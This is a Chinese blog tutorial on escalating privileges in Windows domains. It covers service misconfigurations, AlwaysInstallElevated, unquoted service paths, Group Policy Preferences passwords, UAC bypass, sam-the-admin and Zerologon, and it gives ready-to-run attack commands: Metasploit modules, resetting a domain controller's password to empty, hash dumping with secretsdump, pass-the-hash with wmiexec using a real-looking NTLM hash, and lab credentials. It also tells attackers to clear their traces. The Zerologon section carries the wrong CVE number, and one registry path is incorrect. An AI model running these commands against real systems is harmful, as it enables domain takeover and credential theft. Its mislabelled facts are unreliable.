域环境权限提升
Windows系统配置错误
在Windows系统中,攻击者通常会通过系统内核溢出漏来提权,但是如果碰到无法通过系统内核溢出漏洞法国提取所在服务器权限的情况,就会系统中的配置错误来提权。Windows系统中常见哦欸之错误包括管理员凭证配置错误,服务配置错误,故意削弱的安全措施,用户权限过高等。
系统服务权限配置错误
Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限用户对此类系统服务调用的可执行文件拥有写的权限时,就可以将该文件替换成任意的可执行文件。并虽在系统服务的启动获得系统权限。Windows服务是以System权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是在某些情况下,操作系统中仍然存在一些没有得到有效保护的服务。
系统服务权限配置错误(可写目录漏洞)有如下两种可能:
-
- 服务未运行:攻击者使用任意服务替换原来的服务,然后重启服务。
- 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景。攻击者通常会利用DLL劫持技术并尝试重启服务来提权。
meterprerter利用
获取一个shell后 切换使用service_permissions模块,AGGRESSIVE选项可以利用目标机器每一个有缺陷的服务,当这个服务被禁用时,该模块在第一次提权成功时就会停止工作。


注册表键AlwaysInstallElevated
注册表键AlwaysInstallElevated时一个策略设置项。Windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以 NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件
PathsAlwaysInstallElevated漏洞产生的原因
该漏洞产生的原因是用户开启了Windows Installer特权安装功能

在“运行”框中输入 ”gpedit.msc“,打开组策略编辑器。
- 组策略—计算机配置—管理模板—windows组件—windows installer—永远以高特权进行安装:选择启用
- 组策略—用户配置—管理模板—windows组件—windows installer—永远以高特权进行安装:选择启用
设置完毕后,会在注册表的以下两个位置自动创建键值 ”1“
- HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
- HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Installer\AlwaysInstallElevated
Windows Installer的相关知识点
Windows installer是Windows操作系统的组件之一,专门用来管理和配置软件服务。Windows installer除了是一个安装程序,还用域管理软件的安装,管理软件组件的添加和删除,监视文件的还原,通过回滚进行灾难恢复等。
Windows installer分为客户端安装服务(Msiexec.exe)和MSI文件两部分,它们是一起工作的,Windows installer是通过Msiexec.exe安装MSI文件包含的程序。MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装和卸载软件时需要使用的大量指令和数据。Msiexec.exe用于安装MSI文件,一般在运行Microsoft update安装更新或安装一些软件的时候使用,占用内存较多。简单来说双击MSI文件就会运行Msiexec.exe
meterpreter利用
获得一个shell后 加载windows/local/always_install_elevated模块

![]()
可信任服务路径漏洞
可信任服务路径(包含空格且没有引号的路径)漏洞利用了Windows文件路径解析的特性。并涉及服务路径的文件/文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名。这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
该漏洞存在如下两种可能性:
-
- 如果路径与服务有关,就任意创建一个服务或编译service模板
- 如果路径与可执行文件有关,就任意创建一个可执行文件。
可信任服务路径漏洞产生的原因
因为windows服务通常都是以system权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行。
例如,有一个文件路径”C:\Program Files\Some Folder\Service.exe"。对于该路径中的每一个空格。windows都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对文件路径中空格的所有可能情况进行执行尝试。直到找到一个能够匹配的程序。在本例中,Windows会一次尝试确定和执行下列程序。
-
- C:\Program.exe
- C:\Program Files\Some.exe
- C:\Program Files\Some Folder\Service.exe
因此,如果将我们的木马程序命名为 Program.exe,然后放到C盘下面,当上面的Service.exe程序重启时,系统就会以System权限执行我们的木马程序,我们能将会获得一个System权限的会话
Meterpreter利用
首先,检测目标机器中是否存在该漏洞。使用wmic查询命令,列出目标机器中所有没有被引号引起来的服务的路径。
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """

从结果可是我们这台机器并没有这个漏洞,但如果存在我们将验证这个漏洞是否存在写入的权限检查,使用Windows内建工具icacls查看路径中受影响文件夹的权限,(M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。
icacls "<刚刚的路径文件/文件夹>"
如果有写入的权限,将我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下,然后运行如下命令尝试重启服务,如果失败的话等待服务器重启时执行exe,成功提权后记得清理痕迹。
sc stop service_name
sc start service_name
计划任务
可使用如下命令查看计算机的计划任务
schtasks /query /fo LIST /v

AccessChk 是微软官方提供的一款工具,因此往往不会引起杀软的告警,AccessChk 可用来进行一些系统或程序的高级查询、管理和故障排除工作。
AccessChk 下载地址:https://download.sysinternals.com/files/AccessChk.zip
执行如下命令,查看指定目录的权限配置情况。如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样,在计划任务下次执行时,就会以高权限来运行恶意程序 。
第一次运行AccessChk时,会弹出一个许可协议对话框,在这里,可以使用参数/accepteula自动接收许可协议。
accesschk.exe /accepteula
列出某个驱动器下所有权限配置有错误的文件夹
accesschk.exe -uwdqsUserse:\
accesschk.exe -uwdqs"AuthenticatedUsers"c:\
列出某个驱动器下所有权限配置有缺陷的文件
accesschk.exe -uwqsUsersc:\*.*
accesschk.exe -uwqs"AuthenticatedUsers"c:\*.*
组策略提权
简介
SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本,组策略数据及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个SYSVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在C:\\Windows\SYSVOL\DOMAIN\Policies\目录中
在域中,存在一个默认的共享路径:
\\<domain>\SYSVOL\<domain>\
所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等
例如域内主机访问:

组策略提权分析
Server 2003
对于server2003,想要批量修改域内主机本地管理员密码,常常通过配置组策略执行vbs脚本的方式
给出一个修改密码的vbs脚本(实现方式不唯一),代码如下:
strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "domain123!"
objUser.SetInfo
这种实现方式,最大的弊端在于修改后的密码会明文保存在vbs脚本中
而该vbs脚本通常会保存在共享文件夹\SYSVOL
这就存在一个隐患:
任何域用户都能读取该vbs脚本,也就能够获取脚本中保存的明文密码
Service 2008
对于server 2008,添加了新功能,可使用Group Policy Preferences配置组策略批量修改用户本地管理员密码,具体方法如下:
开始-管理工具-组策略管理
选择域god.org,右键,选中在这个域中创建GPO并在此处链接,如下图

设置名称为111
111-设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组

新建本地用户-更新,administrator(内置),设置密码,如下图

在详细一栏,可看到该策略对应的ID为{E99A6621-2672-4D39-BF4D-3F79DCF15913}

至此,组策略配置完成,域内主机重新登录,即可应用此策略
在共享文件夹\SYSVOL中可看到组策略对应ID的文件夹,如下图

Groups.xml配置文件路径:C:\Windows\SYSVOL\domain\Policies\{E99A6621-2672-4D39-BF4D-3F79DCF15913}\User\Preferences\Groups

值得注意的是其中的cpassword项,保存的是加密后的内容:ZQH5YpPDxEqVJObRFjqyaZJqOh6Xwz4fg3u2lrk/BFs
可以使用PowerSploit里面的Exfiltration中的Get-GPPPassword.ps1脚本解出密码
powershell.exe -exec bypass -command "&{Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword}"

组策略提权防御
在用于管理组策略的计算机上安装KB2962486补丁,防止新的凭据被放置在组策略首选项中。
此外,还需要对everyone访问权限进行设置,具体如下。
-
- 设置共享文件夹SYSVOL的访问权限
- 将包含组策略密码的XML文件从SYSVOL目录中删除。
- 不要把密码放在所有域用户都有权访问的文件中
- 如果需要更改域中窘其的本地管理员密码,建议使用LAPS
绕过UAC提权
如果计算机的操作系统版本是Windows Vista或更高,在权限不够的情况下,访问系统磁盘的根目录(例如C:\)、Windows目录、Program Files目录、以及读、写系统登录数据库(Registry)的程序等操作,都需要经过UAC(User Account Control,用户账户控制)的认证才能进行。
在Windows vista及更高版本的操作系统中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受安全威胁时造成的损害最小。
需要UAC的授权才能进行的操作列举如:
-
- 配置Windows Update
- 增加/删除账户
- 更改账户类型
- 更改UAC的设置
- 安装ActiveX
- 安装/卸载程序
- 安装设备驱动程序
- 将文件移动/复制到Program Files 或 Windows目录下
- 查看其他用户的文件夹
UAC有如下四种设置要求。
-
- 始终通知:这是最严格的设置,每当有程序需要使用最高级别的权限时都会提示本地用户。
- 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户。
- 仅在程序试图更改我的计算机时通知我(不降低桌面的高度):与上一条设置的要求相同,但在提示用户时不降低桌面的高度
- 从不提升:当用户为系统管理员时,所有程序都会以最高权限运行
bypassuac
此模块将通过进程注入利用受信任的发布者证书绕过Windows UAC。这将产生第二个shell,而且UAC保护已经关闭。
当bypassuac模块运行时,会在目标机器上创建多个文件,这些文件会被杀毒软件识别
msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit
内存注入
因为exploit/windows/local/bypassuac_injection模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低被杀软检测出的概率
msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit
UAC防御
在企业网络环境中,防止绕过UAC的最好方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。
在家庭网络环境中,建议使用非管理员权限进行日常办公与娱乐等活动。使用本地管理员权限登录的用户,将UAC设置为“始终通知”或者删除该用户的本地管理员权限。
CVE-2021-42287
原理分析
1.用户向KDC发起AS_REQ请求凭证是用户hash加密的时间戳,KDC使用用户hash进行解密,如果结果正确,则返回用krbtgt hash加密的TGT票据其中TGT里面包含了PAC,PAC包含了请求用户的sid,用户所在的组
2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash加密的TGS票据 (这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据,这也是kerberoating能利用的原因,任何一个用户,只要hash正确,可以请求域内任何一个服务的TGS票据)。
3.用户拿着TGS票据去请求服务,服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边询问用户有没有访问的权限,域控解密PAC。获取用户的sid,以及所在的组,在判断用户是否有访问服务的权限,有访问权限(有些服务并没有验证PAC这一步,这也是白银票据能成功的前提,因为就算拥有用户hash,可以制作TGS,也不能制作PAC,PAC当然也验证不成功,但是有些服务不去验证PAC,这是白银票据成功的前提)就允许用户访问。
漏洞原理
CVE-2021-42278 ,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名坐验证。
该漏洞就会导致AS会以签发一个机器名末尾不以$结尾的TGT(伪装域控主机名的TGT)正常域控TGT内Client info里的机器名信息比如说是peanut$
该漏洞伪造的域控TGT内的Client info内的机器名信息就
是peanut(并不合法)因为TGT本身被KDC用TGS密钥进行加密,因此当后续用户使用TGT向TGS请求服务票据时TGS是信任TGT内的信息的。
CVE-2021-42287,与上述漏洞配合使用,创建与域控机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self 申请TGS Ticket,接着域控在 TGS_REP 阶段,这个账户不存在的时候,DC会使用自己的密钥加密 TGS Ticket ,提供一个属于该账户的 PAC,然后我们就得到了一个高权限ST。
复现测试
sam-the-admin python利用脚本
脚本地址:https://github.com/WazeHell/sam-the-admin 目前只能在kali中利用
环境介绍
windows7
192.168.52.143
机器名称:stu1
域内普通用户:liukaifeng01:Hongrisec@2019
windows server 2008
192.168.52.138
机器名称:owa
域管用户:administrator:Hongrihongsec@2019
proxychains python3 sam_the_admin.py "god/liukaifeng01:Hongrisec@2019" -dc-ip 192.168.52.138 -shell

CVE-2021-1472
漏洞复现
漏洞验证
下载poc验证漏洞:https://github.com/SecuraBV/CVE-2020-1472.git
proxychains python3 zerologin_tester_py owa 192.168.52.138

出现success,证明漏洞存在
置空密码
将域控的密码置空
python3 cve-2021-1472-exploit.py owa 192.168.52.138

导出密码hash
python secretsdump.py god.com/owa\$@192.168.52.138 -no-pass

wmiexec连接
proxychains python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:bde16a8f1072d3ad9cb4253e582d897d ./administrator@192.168.52.138

导出SAM到本地
- reg save HKLM\SECURITY security.save
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save

显示DC密码
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

恢复DC密码

相关文章:
域环境权限提升
Windows系统配置错误 在Windows系统中,攻击者通常会通过系统内核溢出漏来提权,但是如果碰到无法通过系统内核溢出漏洞法国提取所在服务器权限的情况,就会系统中的配置错误来提权。Windows系统中常见哦欸之错误包括管理员凭证配置错误&#x…...
【Debian】非图形界面Debian10.0.0安装xfce和lxde桌面
一、安装 1. Debian10.0.0安装xfce桌面 sudo apt update sudo apt install xfce4 startxfce4 2. Debian10.0.0安装lxde桌面 sudo apt-get install lxde安装后重启电脑。 二、说明 XFCE、LXDE 和 GNOME 是三个流行的桌面环境,它们都是为类 Unix 操作系统设计…...
极狐GitLab 线下『 DevOps专家训练营』成都站开班在即
成都机器人创新中心联合极狐(GitLab)隆重推出极狐GitLab DevOps系列认证培训课程。该课程主要面向使用极狐GitLab的DevOps工程师、安全审计人员、系统运维工程师、系统管理员、项目经理或项目管理人员,完成该课程后,学员将达到DevOps的专家级水平&#x…...
片外存储器_FLASH的页、扇区、块介绍
目录标题 1、什么是FLASH存储器?2、Flash中页、扇区、块是什么意思?有什么区别?2.1、芯片内部框图2.2、页2.3、扇区2.4、块2.5、包含示意图 3、使用FLASH 时候,必须知道的事。 1、什么是FLASH存储器? FLASH属于广义的ROM&#x…...
Python——字符串的基本操作
⼀、 创建 s1 lenovo s2 "QF" s3 """hello lenovo""" s4 hello 亮 s5 """hello shark """ s6 hello world ⼆、简单使⽤ 1.\ 转义符 testimony This shirt doesn\t fit me words hello \ns…...
【cuda】四、基础概念:Cache Tiled 缓存分块技术
缓存分块是一种内存优化技术,主要用于提高数据的局部性(Locality),以减少缓存未命中(Cache Miss)的次数。在现代计算机体系结构中,处理器(CPU)的速度通常比内存快得多。因…...
[C#]winform部署openvino官方提供的人脸检测模型
【官方框架地址】 https://github.com/sdcb/OpenVINO.NET 【框架介绍】 OpenVINO(Open Visual Inference & Neural Network Optimization)是一个由Intel推出的,针对计算机视觉和机器学习任务的开源工具套件。通过优化神经网络ÿ…...
Java中对日期的处理
Java中对日期的处理 这个案例主要掌握: 1.怎么获取系统当前时间 2.String-->Date 3.Date-->String Import java.text.SimpleDateFormat; Import java.util.Date; public class DateTest01{ public static void main(String[] args) throws Exception{ //获取…...
【Linux install】Ubuntu和win双系统安装及可能遇到的所有问题
文章目录 1.前期准备1.1 制作启动盘1.2关闭快速启动、安全启动、bitlocker1.2.1 原因1.2.2 进入BIOSshell命令行进入BIOSwindows设置中高级启动在开机时狂按某个键进入BIOS 1.2.3 关闭Fast boot和Secure boot 1.3 划分磁盘空间1.3.1 查看目前的虚拟内存大小 2.开始安装2.1 使用…...
Helm Dashboard — Kubernetes 中管理 Helm 版本的 GUI
Helm Dashboard 通过提供图形用户界面,使在 Kubernetes 中管理 Helm 版本变得更加容易,这是许多开发人员所期望的。它可用于在 Kubernetes 中创建、部署和更新应用程序的版本,并跟踪其状态。 本文将探讨 Helm Dashboard 提供的特性和优势&am…...
【Guava笔记01】Guava Cache本地缓存的常用操作方法
这篇文章,主要介绍Guava Cache本地缓存的常用操作方法。 目录 一、Guava Cache本地缓存 1.1、引入guava依赖 1.2、CacheBuilder类 1.3、Guava-Cache使用案例...
Flink(十三)【Flink SQL(上)SqlClient、DDL、查询】
前言 最近在假期实训,但是实在水的不行,三天要学完SSM,实在一言难尽,浪费那时间干什么呢。SSM 之前学了一半,等后面忙完了,再去好好重学一遍,毕竟这玩意真是面试必会的东西。 今天开始学习 Flin…...
Labview局部变量、全局变量、引用、属性节点、调用节点用法理解及精讲
写本章前想起题主初学Labview时面对一个位移台程序,傻傻搞不清局部变量和属性节点值有什么区别,概念很模糊。所以更新这篇文章让大家更具象和深刻的去理解这几个概念,看完记得点赞加关注喔~ 本文程序源代码附在后面,大家可以自行下…...
openssl3.2 - 官方demo学习 - signature - EVP_ED_Signature_demo.c
文章目录 openssl3.2 - 官方demo学习 - signature - EVP_ED_Signature_demo.c概述笔记END openssl3.2 - 官方demo学习 - signature - EVP_ED_Signature_demo.c 概述 ED25519 签名/验签算法, 现在是最好的. 产生ED25519私钥/公钥 用私钥对明文签名, 得到签名数据 用公钥对明文…...
AI辅助编程工具—Github Copilot
一、概述 Copilot是一种基于Transformer模型的神经网络,具有12B个参数。是GitHub和OpenAPI共同开发的编程辅助工具。GitHubCopilot是一款由人工智能驱动的结对编程编辑器,旨在帮助开发人员更加高效地工作。它利用OpenAICodex技术,将开发…...
三大3D引擎对比,直观感受AMRT3D渲染能力
作为当前热门的内容呈现形式,3D已经成为了广大开发者、设计师工作里不可或缺的一部分。 用户对于3D的热衷,源于其带来的【沉浸式体验】和【超仿真视觉效果】。借此我们从用户重点关注的四个3D视觉呈现内容: 材质- 呈现多元化内容水效果- 展…...
k8s之对外服务ingress
一、service 1、service作用 ①集群内部:不断跟踪pod的变化,不断更新endpoint中的pod对象,基于pod的IP地址不断变化的一种服务发现机制(endpoint存储最终对外提供服务的IP地址和端口) ②集群外部:类似负…...
Ubuntu使用docker-compose安装mysql8或mysql5.7
ubuntu环境搭建专栏🔗点击跳转 Ubuntu系统环境搭建(十四)——使用docker-compose安装mysql8或mysql5.7 文章目录 Ubuntu系统环境搭建(十四)——使用docker-compose安装mysql8或mysql5.7MySQL81.新建文件夹2.创建docke…...
【办公类-21-02】20240118育婴员操作题word打印2.0
作品展示 把12页一套的操作题批量制作10份,便于打印 背景需求 将昨天整理的育婴师操作题共享, 因为题目里面有大量的红蓝颜色文字,中大班办公室都是黑白单面手动翻页打印。只有我待的教务室办公室有彩色打印机打印(可以自动双面…...
SpringMVC 文件上传和下载
文章目录 1、文件下载2、文件上传3. 应用 Spring MVC 提供了简单而强大的文件上传和下载功能。 下面是对两者的简要介绍: 文件上传: 在Spring MVC中进行文件上传的步骤如下: 在表单中设置 enctype“multipart/form-data”,这样…...
django filter 统计数量 按属性去重
在Django中,如果你想要根据某个属性对查询集进行去重并统计数量,你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求: 方法1:使用annotate()和Count 假设你有一个模型Item,并且你想…...
USB Over IP专用硬件的5个特点
USB over IP技术通过将USB协议数据封装在标准TCP/IP网络数据包中,从根本上改变了USB连接。这允许客户端通过局域网或广域网远程访问和控制物理连接到服务器的USB设备(如专用硬件设备),从而消除了直接物理连接的需要。USB over IP的…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...
如何应对敏捷转型中的团队阻力
应对敏捷转型中的团队阻力需要明确沟通敏捷转型目的、提升团队参与感、提供充分的培训与支持、逐步推进敏捷实践、建立清晰的奖励和反馈机制。其中,明确沟通敏捷转型目的尤为关键,团队成员只有清晰理解转型背后的原因和利益,才能降低对变化的…...
在RK3588上搭建ROS1环境:创建节点与数据可视化实战指南
在RK3588上搭建ROS1环境:创建节点与数据可视化实战指南 背景介绍完整操作步骤1. 创建Docker容器环境2. 验证GUI显示功能3. 安装ROS Noetic4. 配置环境变量5. 创建ROS节点(小球运动模拟)6. 配置RVIZ默认视图7. 创建启动脚本8. 运行可视化系统效果展示与交互技术解析ROS节点通…...
ThreadLocal 源码
ThreadLocal 源码 此类提供线程局部变量。这些变量不同于它们的普通对应物,因为每个访问一个线程局部变量的线程(通过其 get 或 set 方法)都有自己独立初始化的变量副本。ThreadLocal 实例通常是类中的私有静态字段,这些类希望将…...
云原生安全实战:API网关Envoy的鉴权与限流详解
🔥「炎码工坊」技术弹药已装填! 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、基础概念 1. API网关 作为微服务架构的统一入口,负责路由转发、安全控制、流量管理等核心功能。 2. Envoy 由Lyft开源的高性能云原生…...
raid存储技术
1. 存储技术概念 数据存储架构是对数据存储方式、存储设备及相关组件的组织和规划,涵盖存储系统的布局、数据存储策略等,它明确数据如何存储、管理与访问,为数据的安全、高效使用提供支撑。 由计算机中一组存储设备、控制部件和管理信息调度的…...
6.9本日总结
一、英语 复习默写list11list18,订正07年第3篇阅读 二、数学 学习线代第一讲,写15讲课后题 三、408 学习计组第二章,写计组习题 四、总结 明天结束线代第一章和计组第二章 五、明日计划 英语:复习l默写sit12list17&#…...
简约商务通用宣传年终总结12套PPT模版分享
IOS风格企业宣传PPT模版,年终工作总结PPT模版,简约精致扁平化商务通用动画PPT模版,素雅商务PPT模版 简约商务通用宣传年终总结12套PPT模版分享:商务通用年终总结类PPT模版https://pan.quark.cn/s/ece1e252d7df...
